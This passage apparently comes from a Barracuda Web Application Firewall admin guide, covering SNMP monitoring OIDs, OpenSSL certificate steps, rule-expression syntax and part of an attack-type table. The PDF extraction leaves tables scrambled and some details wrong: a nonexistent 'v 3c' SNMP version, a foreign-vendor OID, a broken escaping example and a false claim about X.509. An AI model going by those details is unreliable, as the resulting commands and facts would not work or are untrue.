bwsIpsAccessCtrlStatsTable Table to show statistics for the .1.3.6.1.4.1.20632.8.50.15 snmpwalk -v 2c -c public

access control feature for a 10.11.31.231
given service. .1.3.6.1.4.1.20632.8.50.15
bwsIpsRCStatsTable Table to show statistics for the .1.3.6.1.4.1.20632.8.50.16 snmpwalk -v 2c -c public

rate control feature for a given 10.11.31.231
service. .1.3.6.1.4.1.20632.8.50.16
bwsIpsUrlPolicyStatsTable Table to show statistics for the .1.3.6.1.4.1.20632.8.50.17 snmpwalk -v 2c -c public

URL policy for a given service. 10.11.31.231
.1.3.6.1.4.1.20632.8.50.17
bwsSMUserSessionTable Table to show statistics for the .1.3.6.1.4.1.20632.8.50.18 snmpwalk -v 2c -c public

SiteMinder authentication 10.11.31.231
scheme for the service that has .1.3.6.1.4.1.20632.8.50.18
SiteMinder enabled.
bwsServiceStatusTable Table to show the service IP/Port .1.3.6.1.4.1.20632.8.50.19 snmpwalk –v 3c –c public

and status of service OID 10.11.31.231
.1.3.6.1.4.1.20632.8.50.19
Using SNMP
Collecting performance data
The types of performance data that can be gathered using SNMP on the Barracuda Web Application Firewall are:
Memory use
Number of active connections per service
Number of HTTP requests per service
Number of SSL transactions per service
Each performance data type is associated with one or more SNMP object IDs (OIDs). To gather performance data, specify the OIDs with the
appropriate SNMP command.
For example, the following SNMP command collects data on current memory use, where “public” is the community name and 10.11.31.231 is the
IP address of the Barracuda Web Application Firewall:
snmpget -c public –v 2c 10.11.31.231 .1.3.6.1.4.1.20632.8.19
For some types of metrics, you can just issue an SNMP command with an OID to get the needed information. Example: Memory use. Whereas,
there are some types of metrics where the data collected with SNMP is not useful until a calculation is performed on it to interpret the data.
For example, to determine the throughput rate of client bits coming into the Barracuda Web Application Firewall, you must use the relevant OID
( httpProxyInBytes (1.3.6.1.4.1.20632.8.50.1.1.14)) to take two polls at a certain interval (such as ten seconds), calculate the
delta of the two polls, and then perform the following calculation on that delta value:
( <DeltaStatClientBytesIn>*8 ) / <interval>
To calculate polling interval, the interval duration should be minimum of 60 seconds. The same interval values should be for <interval>
in your calculations.
Collecting Data on Memory Use
This section provides information on how to gather data on the number of bytes of memory currently being used on the Barracuda Web

The following OIDs are required for collecting metrics on memory use:
Description Required SNMP OIDs
Memory Usage 1.3.6.1.4.1.20632.8.19
freeMem 1.3.6.1.4.1.20632.8.24
totalMem 1.3.6.1.4.1.20632.8.23
Collecting Data on System Status
This section provides information on how to gather data on the number of active connections on the Barracuda Web Application Firewall.
The following OIDs are required for collecting metrics on System Status:
Description Required SNMP OIDs
Uptime 1.3.6.1.4.1.20632.8.22
Systemload 1.3.6.1.4.1.20632.8.8
Operational mode 1.3.6.1.4.1.20632.8.15
vipStatus 1.3.6.1.4.1.20632.8.18
Datapathstatus 1.3.6.1.4.1.20632.8.16
highAvailabilityStatus 1.3.6.1.4.1.20632.8.14
logStorage 1.3.6.1.4.1.20632.8.13
firmwareStorage 1.3.6.1.4.1.20632.8.12
currentFirmwareVersion 1.3.6.1.4.1.20632.8.25
virusDefUpdates 1.3.6.1.4.1.20632.8.26
securityDefUpdates 1.3.6.1.4.1.20632.8.27
systemSerialNumber 1.3.6.1.4.1.20632.8.28
Collecting Data on System Configuration
This section provides information on how to gather and interpret data on the number of Applications on the Barracuda Web Application Firewall.
We can also gather info on the total servers and their status.
The following OIDs are required for polling data on new connections:
Graph Metrics Required SNMP OIDs
totalApplications 1.3.6.1.4.1.20632.8.2
totalServers 1.3.6.1.4.1.20632.8.3
activeServers 1.3.6.1.4.1.20632.8.6
activeApplications 1.3.6.1.4.1.20632.8.5
Collecting Data on HTTP Requests for a Service
This section provides information on how to gather and interpret data on the number of current HTTP requests on the Barracuda Web Application
Firewall for a given service, in terms of requests per minute.
To gather and interpret the data for this metric, you must perform some polling and calculations:
1. Use the OID and perform two separate polls, at an interval of your choice.
2. Calculate the delta of the two poll values.
3. Perform a calculation on the OID delta.
The table below shows the OID that you must poll, retrieving two separate poll values for this OID.

Required OIDs for polling data on HTTP requests:
HTTP Request rate .1.3.6.1.4.1.20632.8.50.1.1.6
For example, to collect data on HTTP requests for the HTTP Requests graph metric, follow these steps.
1. Poll OID httpProxyTotalReq (.1.3.6.1.4.1.3375.2.1.1.2.1.56) twice, at a 60-second interval.

This results in two values, <sysStatHttpRequests1> and <sysStatHttpRequests2>. This OID will retrieve HTTP requests for all HTTP
Services.
If you want to retrieve HTTP requests for a specific Service, then you need to append the IP address in the OID. Example:
1.4.99.99.102.10.80, where 1.4 is the IPv4 version, 99.99.102.10 is the Service IP address and 80 is the port number.
The minimum polling frequency for interval is 60 seconds.
2. Calculate the delta of the two poll values:

<DeltaHttpProxyRequests> = <httpProxyTotalReq2> - <httpProxyTotalReq1>
3. Calculate the value of the HTTP Requests graph metric using the calculation shown in the table below, where the value of <interval> is
60.
Required calculations for interpreting metrics on HTTP requests:
Performance Graph Graph Metrics Required calculations for HTTP Requests
(Configuration utility)
HTTP Requests HTTP Requests < DeltaHttpProxyRequests > / <interval>
Collecting Data on SSL Transactions
This section provides information on how to gather and interpret data on SSL performance, in terms of transactions per minute.
To gather and interpret the data for this metric, you must perform some polling and calculations:
1. Use the OID and perform two separate polls at an interval of your choice.
2. Calculate the delta of the two poll values.
3. Perform a calculation on the OID delta.
The table below shows the OID that you must poll, retrieving two separate poll values for this OID.
Required OIDs for polling for data on HTTP requests:
sslProxyTotalReq .1.3.6.1.4.1.20632.8.50.2.1.18.1.4.99.99.102.24.443
For example, to collect data on HTTP requests for the HTTP Requests graph metric, follow these steps.
1. Poll OID sslProxyTotalReq (.1.3.6.1.4.1.20632.8.50.2.1.18) twice, at a 60-second interval.

This results in two values, <sysStatHttpRequests1> and <sysStatHttpRequests2>. This OID will retrieve HTTP requests for all HTTP
Services. If you want to retrieve HTTP requests for a specific Service, then you need to append the IP address in the OID. Example:
1.4.99.99.102.24.443, where 1.4 is the IPv4 version, 99.99.102.24 is the Service IP address and 443 is the port number.
The minimum polling frequency for interval is 60 seconds.
2. Calculate the delta of the two poll values:

<DeltasslProxyTotalReq > = < sslProxyTotalReq2> - < sslProxyTotalReq1>
3. Calculate the value of the HTTP Requests graph metric using the calculation shown in the table below, where the value of <interval> is
60.
Required calculations for interpreting metrics on HTTP requests
Performance Graph Graph Metrics Required calculations for HTTP requests
(Configuration utility)
SSL Requests SSL Requests < DeltasslProxyTotalReq > / <interval>
Practical use of SNMP

For the purpose of demo, a NMS Server (PRTG) trial version was deployed to import the MIB files of the Barracuda Web Application Firewall.
SNMP settings were configured on the NMS server to generate information on the various sensors, some of which are shown below:
HTTP Service based statistics were collected for a period of 2 days:
Live data snapshot:


SNMP GET Commands
The following table describes in detail the SNMP GET commands to view important statistics of the Barracuda Web Application Firewall.
Name Object ID Description
TotalApplications 1.3.6.1.4.1.20632.8.2 Total applications configured.
TotalServers 1.3.6.1.4.1.20632.8.3 Total servers configured.
TotalAttacks 1.3.6.1.4.1.20632.8.4 Count of attacks in last one hour.
ActiveApplications 1.3.6.1.4.1.20632.8.5 Total applications configured whose status is

ON.
ActiveServers 1.3.6.1.4.1.20632.8.6 Total servers whose operational status is

in-service.
SystemLoad 1.3.6.1.4.1.20632.8.8 System load in percentage.
CPUFanSpeed 1.3.6.1.4.1.20632.8.9 CPU fan speed in rotations per min.
SystemFanSpeed 1.3.6.1.4.1.20632.8.10 System fan speed in rotations per min.
CPUTemperature 1.3.6.1.4.1.20632.8.11 CPU temperature in degree celsius.
FirmwareStorage 1.3.6.1.4.1.20632.8.12 Firmware storage in percentage.
LogStorage 1.3.6.1.4.1.20632.8.13 Log Storage in percentage.
HighAvailabilityStatus 1.3.6.1.4.1.20632.8.14 High Availability Status.
OperationalMode 1.3.6.1.4.1.20632.8.15 Operation mode.
DataPathStatus 1.3.6.1.4.1.20632.8.16 Data Path Status
LinkStatus 1.3.6.1.4.1.20632.8.17 Link Status.

Certificate Management
Certificate Management
Configure the Barracuda Web Application Firewall to use SSL Certificates and Keys using the instructions below:
Introduction to Certificates
How to Add an SSL Certificate
Installing SSL Certificates with Correct Chain Order
Creating a Client Certificate

Introduction to Certificates
In this article:
Overview
SSL Implementation and Configuration
SSL for Client to Barracuda Web Application Firewall Transmissions
Overview
The Barracuda Web Application Firewall implements Secure Socket Layer (SSL) encryption using PKI objects, which encrypts transmitted data,
and allows authentication of sender and receiver. You can use SSL encryption between a client and the Barracuda Web Application Firewall,
and/or between the Barracuda Web Application Firewall and web servers by creating or uploading certificates.
In an SSL transmission between a client and a server, the client requests a secure connection, and the server responds with a certificate,
identifying the certificate authority (CA) and the server’s public encryption key. The certificate allows the client to verify the server identity.
The Barracuda Web Application Firewall acts as a server on the front-end (Internet facing), receiving client requests. On the back end, the
Barracuda Web Application Firewall acts as a client to the web servers, forwarding requests to them. In each case, you can use SSL to provide
end-to-end secure data for requests and responses. The Barracuda Web Application Firewall allows Certificates obtained from a trusted CA to be
uploaded, or can create a self-signed certificate to implement SSL.
Digital certificates created using the Barracuda Web Application Firewall are of the standard X.509 format and are considered self-signed.
SSL Implementation and Configuration
SSL for Client to Barracuda Web Application Firewall Transmissions
The Barracuda Web Application Firewall receives requests from clients on behalf of the back-end server. When a request is received from a
client, the Barracuda Web Application Firewall acts as a server to the requesting client. It can be configured to provide a certificate (a self signed
certificate created on the unit, or a certificate issued by a trusted CA uploaded to the unit) which allows the client to authenticate the request
transactions and send them in encrypted form.
For more information on how to generate self-signed certificates, or to upload trusted certificates, see How to Add an SSL Certificate.
To configure the Barracuda Web Application Firewall to use SSL in client communications, create an SSL enabled service and refer to Configurin
g SSL between a Client and the Service for specific instructions on configuring SSL. Additionally, the Barracuda Web Application Firewall can be
configured to require the client to provide a certificate for authentication, denying communication with clients who fail to do so.
The Barracuda Web Application Firewall also provides server-side encryption, and can provide a certificate to the servers for client authentication
(the Barracuda Web Application Firewall acting as the client to the back-end servers). This protects services configured on the Barracuda Web
Application Firewall. The client-server negotiations include the following:
The Barracuda Web Application Firewall receives and verifies the server’s certificate.
The Barracuda Web Application Firewall may provide a certificate in return, if client authentication is required by the back-end server.
The SSL handshake allows the server and the Barracuda Web Application Firewall to authenticate each other. Once mutually authenticated, both
use keys for encryption, decryption, and tamper detection during the SSL sessions.
To configure the Barracuda Web Application Firewall to use SSL in Server communication, Add a server for the respective service on BASIC >
Services, and configure the Barracuda Web Application Firewall to validate the server certificate and optionally to present a client certificate. See
Configuring Server Settings. For information on Client Certificates, see Allowing or Denying Client Certificates.

How to Add an SSL Certificate
In this article:
Overview
Certificate Components
Key Pair
Distinguished Name (DN)
Token
Self-signed Certificate
Trusted Certificate
Signed Certificate
Uploading a Signed Certificate
Uploading a Trusted Certificate
Overview
A signed certificate is a digital identity document that enables both server and client to authenticate each other. Certificates are used with HTTPS
protocol to encrypt secure information transmitted over the internet. A certificate can be generated or procured from a third party Certificate
Authority (CA). Generated certificates can be self-signed or signed by a trusted third-party CA. A certificate contains information such as user
name, expiration date, a unique serial number assigned to the certificate by a trusted CA, the public key, and the name of the CA that issued the
certificate.
Certificate Components
Key Pair
The Barracuda Web Application Firewall implements an asymmetric methodology for encryption, where two related keys are used in combination.
A key pair consists of a public key and a private key which work together, with one of the key pair encrypting messages, and the other decrypting
encrypted messages.
Exposure of the public key does not endanger the secure transactions because the private key cannot be derived from it.
Distinguished Name (DN)
The Distinguished Name (DN) in the certificate uniquely identifies the public key owner who issues the certificate.
Token
A token is a cryptographic item used for secure storage and transfer of private interface and certificate. Currently, the Barracuda Web Application
Firewall supports only the PKCS #12-type token. The PKCS #12 token can be loaded onto the Barracuda Web Application Firewall from a remote
system or saved from the Barracuda Web Application Firewall onto a remote system.
CA Certificate
A trusted certificate is a third-party certificate issued by a Certificate Authority (CA) which can be uploaded and saved on the Barracuda Web
Application Firewall. This certificate can be added to a certificate chain, where it is used for encryption and authentication. Browsers requiring
certificates from a CA will require the procurement and upload of the certificate before communication between a client and a server can be
established.
The Certificates managed by the Barracuda Web Application Firewall:
Self-signed Certificates
Trusted Certificates
Self-signed Certificate
A self-signed certificate (also called user certificate) can be generated by the Barracuda Web Application Firewall to provide strong encryption
without the cost of purchasing a certificate from a trusted certificate authority (CA). However, web browsers cannot verify the authenticity of the
certificate and therefore display a warning every time a user accesses the administration interface. Because of this, self-signed certificates are
ideal for test purposes, and may not be desirable as a production solution.
Trusted Certificate
Trusted certificates, issued by trusted Certificate Authorities (CA), are usually recognized by web browsers and no additional configuration is
required.
Creating a Self-signed SSL Certificate
A self-signed X.509 digital certificate can be created by the Barracuda Web Application Firewall. The X.509 certificate type is one of the most

common, and the International Telecommunication Union (ITU) recommends it, but it is not the industry standard for certificates. So an X.509
certificate generated by the Barracuda Web Application Firewall may or may not be accepted by clients or web servers.
To create a self-signed SSL certificate:
1. Go to the BASIC > Certificates page, and click Create Certificate in the Certificate Generation section.
2. Follow the displayed instructions to fill in all fields.
3. Click Generate Certificate.
Signed Certificate
A self-signed certificate signed by a trusted Certificate Authority (CA) is known as a Signed Certificate. The generated certificates are stored in
the Saved Certificates section. A Certificate Signing Request (CSR) is created each time you generate a certificate using the Barracuda Web
Application Firewall. It contains information such as organization name, domain name, locality, country and the public key. To convert a
self-signed certificate to a signed certificate, download the CSR file and send it to a trusted third party CA such as VeriSign or Thawte for signing.
A CA administrator verifies the CSR, signs the request, and returns a signed certificate to be used for SSL based Services.
Steps to Download a CSR:
1. Go to the BASIC > Certificates page.

2. In the Saved Certificates section, identify the certificate that needs to be signed by a third party trusted CA.
3. Click CSR under the Download option. A pop-up window appears. Select Save File to save the file to the location you desire. A CSR file
is saved with the extension .csr.
4. You can send this CSR file to a trusted Certificate Authority (CA) for signing. A CA verifies the CSR and returns a signed certificate SSL
based Services can use.
Once the CSR is signed and returned, the certificate file is replaced by the new certificate. Extract the key and upload the signed certificate on
Steps to Extract the Key from a Certificate:
1. Click Certificate under the Download option. The Save Token pop-up window appears.
2. Enter the pass phrase in the Encryption Password field and click Save. The certificate gets exported as a PKCS #12 token.
3. Extract the private key from the PKCS #12 token using the same pass phrase. The openssl command used to extract the key is: "openss
l pkcs12 -in < pkcs-token > -nocerts -out < key.pem >"
4. Once you extract the private key, you need to upload the certificate on the Barracuda Web Application Firewall.
Uploading a Signed Certificate
You can upload a certificate either in PKCS#12 Token or PEM format. Perform the following steps to upload a certificate:

2. In the Upload Certificate section, specify a certificate name, select the certificate type (PKCS12 Token or PEM Certificate) and enter
appropriate values in other fields.
3. Click Upload Now.
Uploading a Trusted Certificate

2. In the Upload CA Certificate section, specify a certificate name and select the CA certificate that you want to upload.
Certificate should be uploaded in PEM (*.pem) format.
3. Click Upload Now.
Once a certificate is uploaded on the BASIC > Certificates page, it can be associated with the Services on the BASIC > Services page.

Installing SSL Certificates with Correct Chain Order
A browser running on a desktop system can build a certificate chain correctly regardless of the order in which certificates are
presented. However, a browser running on a mobile device, such as an Android, may require the certificates to be presented in the
correct order.
This article explains how to upload the certificate chain in the order that ensures it is properly presented to the client.
Step 1 - Downloading the Certificate
Use the following steps to download the certificate from the Barracuda Web Application Firewall:
1. Log into the Barracuda Web Application Firewall web interface, and go to the BASIC > Certificates page.
2. In the Saved Certificates table, locate the certificate, and click Certificate in the Download column.
3. In the Save Token page, enter a pass phrase in the Encryption Password field, and click Save.
4. The certificate is exported as a PKCS #12 token which includes the private key.
Private Key
If you already have the private key, ensure it is decrypted before you upload it to the Barracuda Web Application Firewall.
You can obtain the private key from the device on which the Certificate Signing Request (CSR) was generated, or you can extract it
from a previously uploaded certificate.
Open the private key file in a text editor such as WordPad or Notepad++ (do not use Notepad), and if the word ENCRYPTED is present,
the private key is encrypted. Refer to Step 2 - Extracting the Private Key point 5 for the private key decryption process.
Step 2 - Extracting the Private Key
This section describes how to extract the private key from a PKCS #12 file using OpenSSL.
If the private key is encrypted, use the following steps to extract the private key from the PKCS #12 token and decrypt the private key on either a
Linux system or a Windows system.
OpenSSL
Linux generally comes with OpenSSL preinstalled.
You can download OpenSSL for Windows from http://downloads.sourceforge.net/gnuwin32/openssl-0.9.8h-1-setup.exe
1. If you are using a Windows system, change the working directory so that you can run OpenSSL from the command line:
C:\OpenSSL-Win32\bin\>
2. Enter the following command to simultaneously extract and encrypt the private key:
openssl pkcs12 -nocerts -in certificate.pfx -out private_key_encrypted.pem
3. When prompted, enter the password you entered when downloading the .pfx file from the Barracuda Web Application Firewall in point 3 i
n the section Step 1 - Downloading the Certificate.
4. When prompted again, enter a password to encrypt the private key. This is necessary to keep the private key secured at all times, even
when it is displayed onscreen.
5. Enter the following command to decrypt the encrypted private key:
openssl rsa -in private_key_encrypted.pem -out private_key_decrypted.pem
6. When prompted, enter the password you created in point 4 of this section.
Step 3 - Getting the Intermediate and Root Certificates
You can download the intermediate and root certificates of most certificate authorities (CAs) using Microsoft® Internet Explorer ® . However, you
may need to follow the support link on the CA site to obtain the correct intermediate and root certificates.
1. On the system where you downloaded the certificate, double-click the downloaded certificate, for example, mycertificate.cer, and click
the Certificate Path tab.
2. Double-click each CA in the issuer hierarchy, and note the details including the name of the issuer and the certificate expiry date. These
details are helpful in identifying the intermediate and root certificates in the steps that follow.
3. Open Internet Explorer, and go to Tools > Internet Options > Content > Certificates .
4. Click the Intermediate Certification Authorities tab, and select the relevant certificate.
5. Click Export. Follow the instructions in the Wizard, exporting the certificate as Base-64 encoded X.509 (.CER), and saving the export
with the appropriate name.
6. In the Certificates page, click the Trusted Root Certification Authorities tab, and select the root certificate.
7. Click Export. Follow the instructions in the Wizard, exporting the certificate as a Base-64 encoded X.509 (.CER), and saving the export

7.
with an appropriate name.

8. Because Internet Explorer adds trailing line breaks to files, open each exported file in a basic editing program such as WordPad or
Notepad++ (do not use Notepad), and remove any trailing line breaks.
Step 4 - Uploading the Certificate
Use the following steps to upload the certificate chain in the correct order, using the screenshot for reference:
1. In the Barracuda Web Application Firewall web interface, go to the BASIC > Certificates page.
2. In the Upload Certificate section, enter a name for the certificate in the Certificate Name field.
3. Select the Certificate Type as PEM Certificate.
4. Select the key/algorithm used in the certificate.
a. RSA - RSA is a public-key cryptography algorithm.
b. ECDSA - Elliptic Curve Digital Security Algorithm (ECDSA) is a digital signature algorithm which uses Elliptic Curve
Cryptography (ECC).
5. In the Signed Certificate field, click Browse, and navigate to and select the Server Certificate.
6. Set Assign Associated Key to No.
7. In the Certificate Key field, click Browse, and navigate to and select the Private Key.
8. In the intermediary Certificates field, click Browse, and navigate to and select the Intermediate Certificate.
9. Click the plus ( + ) symbol following the Intermediary Certificates field.
10. In the new intermediary Certificates field, click Browse, and add the second Intermediate Certificate.
11. Click the plus ( + ) symbol following the Intermediary Certificates field, navigate to and select the Root Certificate.
12. Select Yes for Allow Private Key Export.
13. Click Upload Now to upload the certificate.
14. The uploaded certificate displays in the Upload Certificates section of the Saved Certificates table .
Warning Message
If a warning message such as Unable to verify issuer certificate displays when uploading the certificates, this means that the
Barracuda Web Application Firewall is unable to verify the issuer from its issuer information internal bundle. This Barracuda W
eb Application Firewall internal bundle contains issuer information updated with each firmware release, and therefore may be
incomplete. Conversely, client browsers update issue information dynamically and can verify the issuer from the information
presented, so this warning can be ignored.

Creating a Client Certificate
Before creating a client certificate you should create a CA certificate which can be used as the root CA certificate to sign the client certificates. To
create a CA certificate for the server designated as SSL CA server, perform the following steps:
1. Generate a Private Key for the CA Certificate

2. Create a CA Certificate using the Private Key
3. Import the CA Certificate to the Barracuda Web Application Firewall
4. Enable Client Authentication on the Barracuda Web Application Firewall
5. Create a Client Certificate
6. Converting PEM File to PKCS #12 Format
7. Import the Client Certificate to the Browser
Step 1 - Generate a Private Key for the CA Certificate
To generate a key for a CA certificate, run the following openssl command on your server:
openssl genrsa 2048 > ca-key.pem
This generates a private key “ca-key” in PEM format.
Step 2 - Create a CA Certificate using the Private Key
Use the private key generated in Step 1 to create the CA certificate for the server. The openssl command to generate a CA certificate is as
follows:
openssl req -new -x509 -nodes -days 1000 -key ca-key.pem > ca-cert.pem
You will be prompted to provide certain information which will be entered into the certificate. See the example below:
Country Name (2 letter code) [AU]: US

State or Province Name (full name) [Some-State]: California
Locality Name (eg, city) []: Campbell
Organization Name (eg, company) [Internet Widgits Pty Ltd]: Barracuda Networks
Organizational Unit Name (eg, section) []: Engineering
Common Name (eg, YOUR name) []: barracuda.yourdomain.com
Email Address []: test@myemail.com
This creates the CA certificate with the values above. This certificate acts as a root CA certificate for authenticating the client certificates.
Step 3 - Import the CA Certificate to the Barracuda Web Application Firewall
The created certificate needs to be uploaded in the BASIC > Certificates > Upload Trusted (CA) Certificate section.
Step 4 - Enable Client Authentication on the Barracuda Web Application Firewall
To be able to use the CA certificate for validating client certificates, client authentication should first be enabled.
Steps to enable client authentication:

2. In the Services section, identify the service for which you want to enable client authentication.
3. Click Edit next to the service. In the Service edit page, scroll down to the SSL section.
4. Set Enable Client Authentication and Enforce Client Certificate to Yes.
5. Select the check box(es) next to the Trusted Certificates parameter.
6. Specify values for other parameters as required, and click Save Changes.
Step 5 - Create a Client Certificate
To create a client certificate, use the following example:
openssl req -newkey rsa:2048 -days 1000 -nodes -keyout client-key1.pem > client-req.pem
Generating a 2048 bit RSA private key writing new private key to 'client-key1.pem'
......................................................................................+++
..+++
-----

You are about to be asked to enter information that will be incorporated into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]: US
State or Province Name (full name) [Some-State]: California
Locality Name (eg, city) []: Campbell
Organization Name (eg, company) [Internet Widgits Pty Ltd]: Barracuda Networks
Organizational Unit Name (eg, section) []: Tech Support
Common Name (eg, YOUR name) []: barracuda.mydomain.com
Email Address []: test@youremail.com
Please enter the following 'extra' attributes to be sent with your certificate request
A challenge password []: Secret123
An optional company name []: -
This creates the private key “client-key1” in PEM format.
Now, use the following example to create a client certificate that will be signed by the CA certificate created in Step 2.
openssl x509 -req -in client-req.pem -days 1000 -CA ca-cert.pem -CAkey ca-key.pem -set_serial 01 >
client-cert1.pem
Signature ok
subject=/C=US/ST=California/L=Campbell/O=Barracuda Networks/OU=Tech
Support/CN=barracuda.mydomain.com/emailAddress=test@youremail.com
Getting CA Private Key
Step 6 - Converting PEM File to PKCS #12 Format
Use the following command to convert the “client-cert1.pem” certificate along with “client-key1.pem” to a Personal Information Exchange file (pfx
token).
openssl pkcs12 -export -in client-cert1.pem -inkey client-key1.pem -out client-cert1.pfx
Enter Export Password:secret
Verifying - Enter Export Password: secret
Step 7 - Import the Client Certificate to the Browser
The client certificate created above should be sent to the client to be imported on their browser.

Extended Match Syntax Help
Extended Match and Condition Expression
Extended Match and Condition Expressions can be configured for various rule types, allowing you to specifically define which requests/responses
need the rule applied. You can configure conditions based on parameters or elements of a request/response, combining them in a very flexible
manner, and applying the rule security settings only to those that match the defined expression.
A few examples:
Header Host co example.com – match a request whose Host header contains example.com
Parameter userid ex – match any request in which the parameter userid is present
(Header Host eq www.example.com) && (Client-IP eq 10.0.0.0/24) – match a request whose host header is www.example.com an
d whose client IP address is in the 10.0.0.* subnet.
Quick reference
Extended Match Expression:

Element Match
(Expression) [Join (Expression) ...]
Join:
&&, ||
Element Match:
Element [Element Name] Operator [Value]
Element:
Request Elements: Method, HTTP-Version, Client-IP, URI, URI-Path, Header
Request Parameters: Parameter, Pathinfo
Response Elements: Status-code, Response-Header
Operator:
Matching: eq, neq, req, nreq
Containing: co, nco, rco, nrco
Existence: ex, nex
Structure of an Extended Match Expression
An Extended Match expression consists of one or more Element Matches, combined using Join operators AND and OR. Parentheses delimit
individual Element Matches when using join operators. Parentheses can be nested.
An Element Match consists of an Element, an optional Element Name, an Operator followed by an optional Value. Some elements (like Header
) require an Element Name (like User-Agent) whereas some elements (like HTTP-Version) require no further qualification. Also, some operators
(like eq) require a value, whereas some don't (like ex).
Tokens are delimited by space and the parenthesis characters. Double quotes (") can be used to enclose single tokens which contain parenthesis
characters or spaces. The back-slash character can also be used to escape, that is, remove the special meaning of the special characters (space
and parenthesis).
Operators
The following are the possible operators in an Element Match. The operators are case insensitive so, for example, eq, Eq and EQ all behave the
same.
eq – true if the operand is equal to the given value. A case insensitive string comparison is performed, so a value of "01" does not equal
the value "1", whereas the values "one" and "ONE" are equal.
neq – true if the operand is not equal to the given value. A case insensitive string comparison is performed.
co – true if the operand contains the given value.
nco – true if the operand does not contain the given value.
rco – true if the operand contains the given value, specified as a regular expression.
nrco – true if the operand does not contain the given value, specified as a regular expression.
req – true if the operand matches the given value, specified as a regular expression.
nreq – true if the operand does not match the given value, specified as a regular expression.
ex – true if the operand exists. A value is not required.
nex – true if the operand does not exist. A value is not required.
Elements
The following Elements are allowed in an expression. Elements and Element Names are case insensitive, so Method and METHOD behave the
same.

Client-IP – The IP address of the client sending the request. The IP address can be either host IP address or subnet IP address
specified by a mask. Only eq and neq operations can be used with this element. Examples: (Client-IP eq 192.168.1.0/24), (Client-IP eq
192.168.1.10)
Method – The HTTP Method specified in the request. Example: (Method eq GET)
HTTP-Version – The version of the HTTP protocol of the request. Example: (HTTP-Version eq HTTP/1.1)
URI – The Uniform Resource Identifier in the request. This includes any query parameters in the request. Example: (URI rco
/abc.*html?userid=b)
URI-path – The path portion of the URI, excluding any query parameters. Example: (URI-path req \/.*copy%20[^/]*)
Parameter – A parameter in the query string part of the URL and serves as a name-value pair. The special parameter
"$NONAME_PARAM" allows reference to a parameter when the parameter name is absent. Examples: (Parameter sid eq 1234),
(Parameter $NONAME_PARAM co abcd)
Pathinfo – The portion of the URL considered the PATH_INFO on the server. The Barracuda Web Application Firewall uses a set of
known extensions to determine whether a portion of the URL is the Pathinfo or not. For example, if the request URL is /twiki/view.c
gi/Engineering, then, /Engineering is considered to be the pathinfo rather than part of the URL. Example: (PathInfo rco abc*)
Header – An HTTP header in the request. Requires an Element Name to identify which header, following the word Header. Example:
(Header Accept co gzip). This will check if the "Accept:" header contains the string "gzip".
X509_OU – The Organizational Unit (OU) stated in the X.509 certificate. Example: (X509_OU eq Engineering Division). When Client
Authentication is enabled for a HTTPS service, the certificate presented by the client is matched with the element value. If the request
matches the rule, the Barracuda Web Application Firewall executes the specified action.
SSL-Version – The SSL Version used by the client to connect to the service. When SSL is enabled, the Barracuda Web Application
Firewall checks the SSL version of the client connecting the service, and based on the configuration, redirects the client to a specific
page to notify of unsupported SSL protocols.
To Enable Client Authentication, click Edit in the Options column next to the service on the BASIC > Services page in the Services section.
Not all elements are allowed in every expression. The following restrictions apply:
Request rules (ACLs, URL Policy, URL Profiles) allow only the elements Method, HTTP-Version, Header, Client-IP, URI, URI-Path, Pa
thInfo, and Parameter.
Request Rewrite Condition allows only the elements Method, HTTP-Version, Header, Client-IP, and URI.
Response Rewrite Condition allows only the elements Method, HTTP-Version, Header, Client-IP, URI, Status-code and Response-He
ader.
Joins
Expressions can be joined using:
|| – Or, checks if either expression is true.

&& – And, checks if both expressions are true.
Element Matches can be combined as long as the Element Matches are enclosed in parentheses. You cannot combine Element Matches without
parentheses. Example: (Header cookie ex) && (URI rco .*\.html) && (Method eq GET)
Nested sub-expressions can be created by enclosing expressions in parentheses, making the expression more readable as well as
unambiguous. Example: (HTTP-Version eq HTTP/1.1) && ((Header Host eq www.example.com) || (Header Host eq website.example.com))
Escaping
The space character and the parentheses characters are special characters which cause the parser to split the string into tokens at these
separators. In some cases, you must specify these characters as part of the value itself. For example, the User-Agent header typically contains
both spaces and parentheses, as in:
User-Agent: Mozilla/5.0 (Linux i686; en-US; rv:1.8.1.3) Firefox/2.0.0.3
When a value contains space or parenthesis characters, they must be escaped by prefixing them with a back-slash (\), or by enclosing the entire
value in double-quotes ("). Examples:
Header User-Agent eq "Mozilla/5.0 (Linux i686; en-US; rv:1.8.1.3) Firefox/2.0.0.3"

Header User-Agent eq Mozilla/5.0\ $Linux\ i686;\ en-US;\ rv:1.8.1.3$\ Firefox/2.0.0.3
The double-quote character itself must be escaped with a back-slash. This is true whether or not it is inside a quoted string. Note that the single
quote character has no special meaning, and is treated as any other character.
To specify the back-slash character itself, it must be escaped as "\\". This is true whether or not it is within a quoted string.
The back-slash character escapes all characters, not just special characters. Thus, "\c" stands for the character "c" etc. In other words,
back-slash followed by any character stands for the character, whether or not that character has a special meaning in the extended match syntax.

Attacks Description - Action Policy

The following table describes the attack actions under each attack group:
Protocol Violations
Attack ID Attack Name Attack Name in Description Severity Attack Category

Export Logs
16 Directory Traversal DIRECTORY_TRAV Attempted access to Alert Forceful Browsing

Beyond Root ERSAL_BEYOND_ files and commands
ROOT beyond the
document root
directory/CGI root
directory.
125 Get Request with GET_REQUEST_WI HTTP GET request Alert Protocol Violations
Content Length TH_CONTENT_LEN with Content-Length
GTH request header was
detected.
126 Missing Host MISSING_HOST_H An HTTP/ 1.1 Alert Protocol Violations

Header EADER version request
lacked the
mandatory Host
request header.
121 Invalid Header INVALID_HEADER An invalid HTTP Alert Protocol Violations

request header
name-value pair was
detected.
118 Invalid Method INVALID_METHOD An invalid HTTP Alert Protocol Violations

method detected in
request.
77 Invalid or INVALID_OR_MALF Normalizing a Alert Protocol Violations

Malformed HTTP ORMED_REQUEST request URI or
Request header components
determined it was
invalid or malformed.
129 Parameter Too PARAM_TOO_LAR An HTTP POST Alert Limits Violation

Large GE method request had
a URL-encoded
parameter value
exceeding 1024 KB.
123 Malformed Content MALFORMED_CON Content-Length Alert Protocol Violations

Length TENT_LEN request header
contained
non-numeric
characters (e.g.,
Meta characters or
alphabetic
characters).
124 Malformed Cookie MALFORMED_COO A cookie not Alert Protocol Violations

KIE conforming to the
HTTP cookie
specifications was
detected.
120 Malformed Request MALFORMED_REQ An HTTP request Alert Protocol Violations

Line UEST_LINE end of line lacked
the mandatory /r/n
characters.

